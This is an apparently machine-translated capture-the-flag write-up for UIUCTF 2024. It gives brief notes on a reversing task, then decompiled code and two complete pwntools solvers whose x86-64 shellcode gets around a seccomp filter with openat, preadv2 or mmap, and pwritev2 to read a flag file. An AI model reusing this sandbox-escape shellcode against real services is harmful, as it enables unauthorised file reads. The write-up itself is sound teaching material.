{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-uiuctf-2024-en","result":{"data":{"markdownRemark":{"id":"2262684f-cbb8-541f-8526-9d29c3f15cf9","html":"
\n

This page has been machine-translated from the original page.

\n
\n\n

Table of Contents

\n\n

Summarize(Rev)

\n
\n

All you have to do is find six numbers. How hard can that be?

\n
\n

When I analyzed the challenge binary with a decompiler, I found that it was a program that accepts the integers A through F as input values and verifies them with the check function.

\n

\n \n \n \n \n \n \n \n \n

\n

This was a problem that could have been solved quickly with dynamic analysis, but I wasted a huge amount of time because I stubbornly insisted on solving it with static analysis and Z3Py.

\n

Looking back, it was very easy, but once you fall into a strange mental trap, it is hard to get out of it right away.

\n

Syscalls(Pwn)

\n

The challenge binary has NX disabled.

\n

\n \n \n \n \n \n \n \n \n

\n

When I decompiled the binary, I found that it executes the region containing the 0xb0 bytes read from standard input as code.

\n
void main(void)\n{\n  long in_FS_OFFSET;\n  undefined input_code [184];\n  long local_10;\n  \n  local_10 = *(long *)(in_FS_OFFSET + 0x28);\n  setvbuf(stdout,(char *)0x0,2,0);\n  setvbuf(stderr,(char *)0x0,2,0);\n  setvbuf(stdin,(char *)0x0,2,0);\n  get_code(input_code);\n  seccomp-install();\n  run_code(input_code);\n  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {\n                    /* WARNING: Subroutine does not return */\n    __stack_chk_fail();\n  }\n  return;\n}\n\nvoid get_code(char *param_1)\n{\n  puts(\n      \"The flag is in a file named flag.txt located in the same directory as this binary. That\\'s al l the information I can give you.\"\n      );\n  fgets(param_1,0xb0,stdin);\n  return;\n}\n\nvoid run_code(code *param_1)\n{\n  (*param_1)();\n  return;\n}
\n

If that were all, exploiting it would look easy, but unfortunately this code installs a seccomp filter after receiving the input, and we can see that system calls such as execve, execveat, fork, open, read, and write are all prohibited.

\n

Reference: Pwn Super Intro 2 for Beginner CTFers - Bypassing seccomp and Shellcode Basics -

\n
int seccomp-install(void)\n{\n  int iVar1;\n  long in_FS_OFFSET;\n  undefined2 local_e8 [4];\n  undefined8 *local_e0;\n  undefined8 local_d8;\n  undefined8 local_d0;\n  undefined8 local_c8;\n  undefined8 local_c0;\n  undefined8 local_b8;\n  undefined8 local_b0;\n  undefined8 local_a8;\n  undefined8 local_a0;\n  undefined8 local_98;\n  undefined8 local_90;\n  undefined8 local_88;\n  undefined8 local_80;\n  undefined8 local_78;\n  undefined8 local_70;\n  undefined8 local_68;\n  undefined8 local_60;\n  undefined8 local_58;\n  undefined8 local_50;\n  undefined8 local_48;\n  undefined8 local_40;\n  undefined8 local_38;\n  undefined8 local_30;\n  undefined8 local_28;\n  undefined8 local_20;\n  undefined8 local_18;\n  long local_10;\n  \n  local_10 = *(long *)(in_FS_OFFSET + 0x28);\n  local_d8 = 0x400000020;\n  local_d0 = 0xc000003e16000015;\n  local_c8 = 0x20;\n  local_c0 = 0x4000000001000035;\n  local_b8 = 0xffffffff13000015;\n  local_b0 = 0x120015;\n  local_a8 = 0x100110015;\n  local_a0 = 0x200100015;\n  local_98 = 0x11000f0015;\n  local_90 = 0x13000e0015;\n  local_88 = 0x28000d0015;\n  local_80 = 0x39000c0015;\n  local_78 = 0x3b000b0015;\n  local_70 = 0x113000a0015;\n  local_68 = 0x12700090015;\n  local_60 = 0x12800080015;\n  local_58 = 0x14200070015;\n  local_50 = 0x1405000015;\n  local_48 = 0x1400000020;\n  local_40 = 0x30025;\n  local_38 = 0x3000015;\n  local_30 = 0x1000000020;\n  local_28 = 0x3e801000025;\n  local_20 = 0x7fff000000000006;\n  local_18 = 6;\n  local_e0 = &local_d8;\n  local_e8[0] = 0x19;\n  prctl(0x26,1,0,0,0);\n  iVar1 = prctl(0x16,2,local_e8);\n  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {\n                    /* WARNING: Subroutine does not return */\n    __stack_chk_fail();\n  }\n  return iVar1;\n}
\n

\n \n )\n\ncode=\"\"\"\n// openat(AT_FDCWD(-100), file, 0)\nmov rdi, -100\nlea rsi, [rip+filename] \nmov rdx, 0 \nmov rax, 257 \nsyscall \n\n// preadv2(fd, iov, 1, 0, 0)\nxor r10, r10\nxor r8, r8\nmov rdi, rax\npush 0x100\nmov r15, rsp\nadd r15, 0x100\npush r15\nmov rsi, rsp\nmov rdx, 1\nmov rax, 327\nsyscall\n\n// pwritev2(1, iov, 1, -1, 0)\nxor r8, r8\nmov r10, -1\nmov rdi, 1 \nmov rdx, 1\nmov rsi, rsp\nmov rax, 328 \nsyscall \n\nfilename:\n .string \"./flag.txt\"\n\"\"\"\n\nshellcode = asm(code)\n\ntarget = remote(\"syscalls.chal.uiuc.tf\", 1337, ssl=True)\n\ntarget.sendlineafter(\"you.\", shellcode)\ntarget.interactive()\n

In the first section, setting the first argument to AT_FDCWD(-100) allows it to obtain the file descriptor for ./flag.txt.

\n
// openat(AT_FDCWD(-100), file, 0)\nmov rdi, -100\nlea rsi, [rip+filename] \nmov rdx, 0           \nmov rax, 257             \nsyscall
\n

In the following sections, preadv2 and pwritev2 are used to send the flag read from the file to standard output.

\n

Running this solver allows you to obtain the flag as shown below.

\n

\n \n \n \n \n \n \n \n \n

\n

Solution 2: Using openat, mmap, and pwritev2 with an iovec

\n

Using the writeup as a reference, I also tried an alternative approach that uses mmap instead of preadv2.

\n

It seems that by using mmap, you can read data from a file into memory even when read cannot be used.

\n
#include <sys/mman.h>\n\nvoid *mmap(void addr[.length], size_t length, int prot, int flags, int fd, off_t offset);
\n

Reference: mmap(2) - Linux manual page

\n

Reference: Trying mmap for file I/O - Corgi Lab. ~A technical blog for notes~

\n

For that reason, the following code—where the part of the shellcode in Solution 1 that uses preadv2 is simply replaced with mmap—can also retrieve the flag.

\n
from pwn import *\n\ncontext.binary = exe = ELF('./syscalls')\n\ncode=\"\"\"\nlea rsi, [rip+filename]\nmov rdi, 0\nxor rdx, rdx\nmov rax, 257\nsyscall\n\n// mmap(addr=0, length=0x1000, prot=PROT_READ (1), flags=MAP_PRIVATE (2), fd='rax', offset=0)\npush 2\npop r10\nmov r8, rax\nxor r9, r9\nxor edi, edi\nmov rdx, 1\nmov rsi, 4096\npush 9\npop rax\nsyscall\n\n/* pwritev2(vararg_0=1, vararg_1='rsp', vararg_2=1, vararg_3=-1, vararg_4=0) */\npush 0x100\npush rax\nmov r10, -1\nxor r8, r8\nmov rdi, 1\nmov rsi, rsp\nmov rdx, rdi\nmov rax, 328\nsyscall\n\nfilename:\n    .string \"/home/user/flag.txt\"\n\"\"\"\n\nshellcode = asm(code)\n\ntarget = remote(\"syscalls.chal.uiuc.tf\", 1337, ssl=True)\ntarget.sendlineafter(\"you.\", shellcode)\ntarget.interactive()
\n

\n \n